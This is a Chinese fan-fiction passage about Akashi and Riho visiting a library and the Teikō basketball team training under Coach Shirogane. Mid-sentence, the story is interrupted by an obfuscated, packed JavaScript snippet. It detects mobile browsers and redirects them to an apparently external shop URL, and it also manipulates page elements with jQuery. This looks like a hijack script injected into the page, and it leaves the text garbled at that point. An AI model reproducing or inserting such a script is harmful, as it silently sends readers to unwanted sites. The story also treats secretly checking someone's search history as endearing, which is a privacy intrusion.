理穗转过头。赤司站在她身后半步远的地方，穿着运动服，袖子卷到手肘。阳光从窗户照进来，正好落在他的侧脸上，把他的轮廓镀上了一层浅金色的光晕。
“你怎么来了”。她疑惑地问，然后接过书，轻声说了一句“谢谢”，随即把书抱在怀里。
赤司收回手，目光落在她怀里的书上。“《月与波光》？”
“嗯。你读过？”
“没有。”赤司唇角似乎带着藏不住的得意，“但听说过。作者叫月岛桂，是一个不怎么出名的诗人，写过几本散文集，销量都不高。但有评论家说她‘用最轻的笔触写最重的事’。”
理穗有些意外地看了他一眼。“你怎么知道，查过？”
赤司微笑着点头，解释，“看见还书箱里面的书，就大概提前了解了一下。”
他刚才进门时在门口看见还书箱里有一本理穗还过的书，就顺便查了她的搜索记录了解一下。
理穗愣了一下。还书箱里的那本植物图鉴？那是她借的，但封面和作者名都和诗集无关，他怎么知道那是她的？
理穗不解却仍没有多问，她只是感慨说：“你的信息搜集能力，用在篮球以外的地方也很强。”
“信息就是信息。”赤司看着理穗的样子笑意更深了，说语气平淡得像在说今天天气不错，“不分篮球还是别的。知己知彼，百战不殆。”
两个人沿着安静的书架间缓步走着，空气中弥漫着旧书页的味道。就这样过了一会儿，他们走向借书台。理穗把书放在柜台上，图书管理员是一位戴眼镜的中年女士，慢条斯理地扫码、登记。
等待的时候，理穗翻开书的第一页，看了目录。一共有三辑，分别叫“月之卷”“波之卷”“光之卷”。她随手翻到中间一页，看见一段话：
“孤独不是没有人陪伴，而是你站在人群中，却找不到一个可以说话的人。”
她的目光停在那段话上，停了两秒。然后她合上书，把它递给管理员。
赤司也借了一本书。理穗瞥了一眼封面《将棋名局选》。她有些意外：“你下将棋？”
“学过，平时下下棋也很不错。”赤司接过书，翻了两页，“感觉对自己很有启发。”
理穗对于赤司借书颇为意外，接着说起早上看见的事。
“是吗？我今天下楼的时候看见楼下搬来的新邻居也有一副将棋棋盘，像是棋艺很好的样子。”
“阿征下棋怎么样？很厉害吗”
赤司看了她一眼。两个人的目光在空气中撞了一下，然后同时移开。
“我从不知什么叫做失败，这算厉害吗？”赤司说。
“那很厉害了”
“要我教你吗？”
“好啊，那我期待一下，赤司老师。”
借好书，两个人离开图书馆，往篮球馆方向走去。边走边聊，岁月正好，理穗歪着头一脸期待看向赤司。
他望着她，眼底翻涌着情绪，嘴上却极淡：
“别这么看我。”
理穗不解：“为什么？”
他闭了闭眼，再睁开时目光更沉：
“我怕我会忍不住，抱你。”
理穗脸唰得一下通红，别开目光。
很久一会儿，心情平抚，理穗想转移注意力，再次翻开《月与波光》，找到刚才那段话，又看了一遍。
“赤司。”
“嗯？”
“你小时候……孤独过吗？”
赤司手停了一下。他没有立刻回答，想了一会认真的抬起头看着她。“为什么这么问？”
理穗把书转过来，让他看那段话。“书里写的。‘孤独不是没有人陪伴，而是你站在人群中，却找不到一个可以说话的人。’我很想知道，你有没有过这种感觉。”
赤司看着那段话，沉默了几秒。
“有过。”他说。
理穗的手指在书页上轻轻收紧了。
“小时候，母亲刚去世的那段时间。”赤司的声音很平静，平静得像在说别人的事，“家里有很多人。佣人、管家、父亲的下属。但没有一个人可以说话。”
他顿了顿。“后来我学会了不找人说。”
理穗低下头，看着书页上的字。她想起自己的小时候，辗转在一个又一个寄养家庭之间，每一个家里都有人，但她从来不知道该怎么开口。说“我能看见妖怪”会被当成怪物，说“我想我哥哥”会被当成麻烦，说“我不想走”没有用。
所以她也学会了不说。
“我也是。”她轻声说。
赤司看着她。阳光落在她的睫毛上，投下一小片扇形的阴影。她的表情很平静，但他知道，那种平静下面是他不了解的东西。
“但现在不一样了。”赤司说。他微微侧头，声音温和又低沉，慢悠悠跟她说，像是在说一件今天琐碎又平常的小事，语气松弛又自在。
理穗抬起头。
“现在你有可以说话的人。”他说，语气依然平静，意有所指，每一个字都像落在水面的石子，激起一圈一圈的涟漪。
理穗看着他，看了几秒。然后她低下头，把书翻到下一页。
“……嗯。”
她的耳朵红了。赤司看见了，没有说。
两人并肩沿着路边慢慢走着，晚风轻轻卷着落樱，脚步不知不觉放慢，渐渐踩成同一个节奏。
理穗翻到第二辑“波之卷”，又找到一段话，轻声念了出来：
“你问我为什么喜欢海。
我说，因为海不会问你要去哪里。
你说，这也算理由吗？
我说，这世界上大部分的问题，都不需要理由。
比如为什么喜欢一个人。
比如为什么听到某首歌会哭。
比如为什么站在海边的时候，会觉得所有的事情都没那么重要。
你问，那海会回答你吗？
我说，海从来不回答。海只是听着。
这世上，愿意听的人，比愿意回答的人少得多。”
她念完之后，自己也思索了一下，然后说：“这诗写得真好。”
赤司探过身，看了一眼那页。“月岛桂的文字确实很轻，但每一句都像有重量。”
“像什么？”
“像你泡的麦茶。”赤司说，“看起来只是普通的茶，喝进去才知道温度刚好。”
理穗的手指在书页上停了一下。
“……这有联系？你这算是在夸我？”
“陈述事实。”赤司靠回椅背，表情没有任何波澜。
理穗盯着他看了两秒，确定他脸上没有任何“我在撩你”的痕迹，他是认真的。赤司征十郎说“你泡的麦茶温度刚好”，就是真的在说麦茶的温度刚好。但他的认真本身，就是最让人心跳加速的东西。
她低头继续看书，心跳却比翻书快了好几页。
“小心看路。”
“嗯。”虽然嘴上答应着，但是理穗明显还沉浸在刚借的书里，目光时不时飘向封面，脚步不自觉有些飘。
赤司轻轻叹了口气，声音放得格外柔和，带着一点无奈的宠溺。
“别看啦，小心看路。”说着，他伸手，很自然地把她往道内侧带了带，指尖轻轻碰了下她的手肘。
动作轻得像一阵风，却又格外可靠。
她这才回过神，脸颊微微一热，慌忙把视线从书脊上移开。
“啊……抱歉。阿征……你会不会觉得，陪我来图书馆浪费时间？”理穗合上书，忽然问了这么一句。
赤司转起过头，目光落在她身上。她没有看他，低着头，手指在书的封面上画着圈。
理穗一直想要努力变得更优秀，不想成为身边人的负担。她也一直想着，要不断提升自己，能与眼前这般耀眼的人并肩而立。不是因为自卑。是因为在乎。
赤司没有立刻回答。他沉默了两秒，像是在认真思考这个问题。然后他开口了，语气坚定而认真：
“不会。这是我自己的选择，我从不为自己的选择后悔。而且做自己喜欢的事，也从来都不是浪费时间。”
他顿了顿。
“你专注做自己想做的事的样子，很好。”
他看着她的眼睛，“我会一直陪着你。”
理穗的心轻轻一颤。她抬起头，对上他的目光。他的眼睛里清晰地映着自己的影子，头发有点乱，眼睛亮亮的，嘴唇微微张着，像是在消化什么。
她忽然明白，最好的陪伴大抵就是如此，我欢喜我的热爱，你尊重我的坚持，我们各自奔赴自己的目标，却始终并肩同行，彼此勉励，只为成为更好的人，足以与对方相配。不是追赶。是并肩。
“好。”理穗点点头。哪怕声音很轻，但是相信他一定听得见。
夕阳将他们的影子拉长，紧紧依偎在一起。理穗低头看了一眼地上的影子，两个人的影子叠在一起，分不清谁是谁的。
风拂过校园的树梢，带着初夏的暖意。理穗抱着书，脚步轻快。身边有少年并肩而行，他的影子偶尔和她的影子交叠，又分开，又交叠。
阳光正好，书页留香，心事温柔。
“赤司。”
“嗯？”
“下次，还一起来图书馆吧。”
赤司唇角勾起一抹浅淡的笑意，温柔而笃定。
“好。无论何时，我都陪你。”
理穗没有回答。但她走路的脚步都仿佛变得轻快了，是心情也变得愉悦起来。
他们比规定时间早了五分钟到了体育馆，临近比赛，一军篮球馆今天的篮球部格外热闹。
没一会儿，真田教练吹响了哨子。
“集合！”
一军队员迅速在球场中央列队。理穗和桃井站在场边，视线从每个人身上快速扫过。
赤司站在最前排，绿间在他右手边，紫原还没睡醒似的揉着眼睛，青峰把外套搭在肩上，灰崎歪着头嚼口香糖，黑子正在系鞋带。
黑子站在队伍最后一排的最边上。如果不是理穗刻意去找，她有时也会忽略那个位置。
“今天的训
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530722|203684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练顺序是：基础热身十五分钟，分组投篮训练二十分钟，一军内部对抗赛三节，每节十五分钟，最后是体能。”真田教练的语速很快，“昨天防守端的问题，今天对抗赛里必须修正。”
“是——”参差不齐的回答。
真田皱了下眉：“大声点。”
“是！”
训练开始。热身跑的时候，她站在底线附近，目光追着每一个经过她面前的球员。赤司的步频最稳定，绿间的摆臂最标准，青峰跑得最随意，紫原跑得最慢。
不过后来，大家一听说白金总教练今天会来都格外紧张。
体育馆二楼，靠近西侧窗户的阴影里，站着一个身穿深灰色西装的男人。
白金耕造将双手插在裤袋中，背微微倚着墙壁。从这个角度往下看，整个球场的布局一览无余，五个半场同时进行着不同内容的训练，部员们的呼吸声、球鞋摩擦地板的吱嘎声、篮球砸在实木地面上的闷响，汇成一片低沉的噪音。
"低一点！重心再低一点！"
真田龙吉教练的吼声穿透嘈杂。二十名一年级新生正在做折返跑，汗水在地板上留下蜿蜒的痕迹。
话说回来，今天应该是黑子成为一军以来第一次见到白金教练。
“总教练是个什么样的人？”黑子之前很好奇的问。
“很难说，你只要知道白金教练有一句名言，叫做年纪轻轻的怎么练都不会死的。”青峰他脸色一阵青一阵白，表情纠结得像是便秘，张了张嘴还想说什么，一脸痛苦难以言语的表情。
二楼，白金教练将所有的训练场景尽收眼底。他的目光扫过每一个半场，像一位老练的棋手审视棋盘上的所有棋子。看了一会儿，然后缓步下楼。
夕阳把篮球馆的窗户染成暖金，地板上还残留着橡胶鞋底摩擦的淡痕。空气中弥漫着汗水与灰尘的气息，一天的训练刚落下帷幕。
黑子已经因为高负荷的训练瘫倒在了场上，无法起身，哪怕他的训练已经比其他人少很多，但是在体力这块依然是劣势。他的胸口剧烈起伏，连抬手的力气都没有，呼吸又沉又乱。
白金注意到黑子的状况，皱起眉，微微眯起眼睛。他看过这个少年的档案，体能测试排名垫底，投篮命中率为零，唯一可取的是传球视野的评测数据。但那种数据，在帝光这种怪物云集的地方，根本不值一提。
要不是赤司坚持，他不会注意到他。然而上次的比赛也确实给了他不小的惊喜。
白金教练看着黑子摸了摸下巴，沉思片刻，这种类型的球员真的很少见。
紫原敦瘫坐在场边上，长腿随意伸展，连抬眼皮的力气都像是被抽干了大半。
“脚好重……明明只是站在内线就够了，为什么每天都要练那么多奇怪的脚步。”他含糊抱怨着，语气里满是孩子气的疲惫。
绿间真太郎擦着额角的汗，慢条斯理地整理着护腕，闻言推了推鼻梁上的眼镜，声音冷静而笃定。“白金监督的训练计划，从来都是精准计算过的，不会有一分多余，也不会有一分欠缺。今天的三分投篮量比上周增加三成，就是为了把体力极限再往上推一层。”
“哼，那老头看着一副好好先生的样子，狠起来是真不当人。”青峰大辉把毛巾搭在肩上，嗤笑一声，想起前几日的事依旧心有余悸，“前阵子我嫌麻烦，训练随便应付了两下，结果直接被他留到太阳下山，练到连抬手都费劲。”
话虽抱怨，眼底却没有真正的抵触，反而藏着一丝被激发出的野性。
听到脚步声，几人不约而同望向场中那个已经走远的温和身影。
白金耕造背着手，步履平稳，脸上始终挂着淡淡的笑意，看上去毫无压迫感，却能让整个帝光篮球部心甘情愿地投入地狱般的训练。
赤司征十郎站在稍前的位置，双手环胸，身姿挺拔如松，那双异色瞳孔平静地注视着训练场，语气里带着旁人没有的通透与认同。
“监督比任何人都清楚，我们每个人的极限在哪里。”他顿了顿，声音轻而有力。“他从不会强迫我们做做不到的事，只是把那条界限，摆在我们不得不伸手去够、不得不咬牙跨越的地方。”
绿间微微颔首，附和道：冷静、严苛、不留情面，却又精准到可怕。他的训练方式，和他这个人一样，只为最强而存在。”
青峰咂了下舌，踢了踢脚下的地板，最终还是点点头，坦率承认：“虽然是个魔鬼……但不得不说，跟着他练，变强的速度，快到离谱。”
紫原不知道什么时候从包里拿出一包薯片，含着薯片，慢悠悠补上一句：“……虽然这样但是很累啊，而且一会儿就好饿……”
赤司嘴角微不可察地勾起一抹浅淡的弧度。“严厉，不是苛责，而是不允许任何一份天赋被浪费。这对我们来说是好事。”
风从敞开的窗户吹进来，卷起地上几片散落的纸屑，球场上空荡荡的，却仿佛还回荡着白日里密集的运球声与球鞋摩擦声，那是属于帝光的、被魔鬼教练亲手锻造出的王朝序曲。
奇迹的开端。